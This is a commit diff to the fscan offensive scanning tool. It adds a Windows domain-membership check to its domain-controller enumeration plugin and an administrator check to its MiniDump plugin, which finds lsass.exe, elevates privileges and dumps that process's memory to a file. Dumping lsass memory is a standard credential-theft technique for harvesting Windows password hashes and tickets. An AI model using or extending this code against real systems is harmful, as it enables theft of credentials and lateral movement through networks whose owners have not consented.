refactor: 去掉UDP扫描、优化了DCInfo和MiniDump的检测机制

This commit is contained in:
ZacharyZcR
2024-12-28 06:19:25 +08:00
parent ee1d176a8f
commit 2ce7041c95
8 changed files with 60 additions and 22 deletions

View File

@@ -8,6 +8,8 @@ import (
"os/exec"
"strconv"
"strings"
"syscall"
"unsafe"
"github.com/go-ldap/ldap/v3"
)
@@ -656,7 +658,32 @@ func NewDomainInfo() (*DomainInfo, error) {
}, nil
}
// 检查是否在域环境中
func IsInDomain() bool {
// 获取计算机域成员身份信息
var joinStatus uint32
var buffer uint32
ret, _, _ := syscall.NewLazyDLL("netapi32.dll").NewProc("NetGetJoinInformation").Call(
0,
uintptr(unsafe.Pointer(&joinStatus)),
uintptr(unsafe.Pointer(&buffer)),
)
if ret == 0 {
// 清理资源
syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(uintptr(buffer))
// 检查是否为域成员
return joinStatus == 3 // 3 = NetSetupDomainName 表示是域成员
}
return false
}
func DCInfoScan(info *Common.HostInfo) (err error) {
if !IsInDomain() {
return fmt.Errorf("当前系统不在域环境中")
}
// 创建DomainInfo实例使用当前用户凭据
di, err := NewDomainInfo()
if err != nil {

View File

@@ -3,7 +3,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"log"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
@@ -254,22 +254,47 @@ func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
return pm.findProcessInSnapshot(snapshot, name)
}
// 检查是否具有管理员权限
func IsAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
func MiniDump(info *Common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
log.Fatalf("初始化进程管理器失败: %v", err)
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
log.Fatalf("查找进程失败: %v", err)
return fmt.Errorf("查找进程失败: %v", err)
}
fmt.Printf("找到进程 lsass.exe, PID: %d\n", pid)
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
log.Fatalf("提升权限失败: %v", err)
return fmt.Errorf("提升权限失败: %v", err)
}
fmt.Println("成功提升进程权限")
@@ -278,8 +303,8 @@ func MiniDump(info *Common.HostInfo) (err error) {
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
log.Fatalf("进程转储失败: %v", err)
os.Remove(outputPath)
return fmt.Errorf("进程转储失败: %v", err)
}
fmt.Printf("成功将进程内存转储到文件: %s\n", outputPath)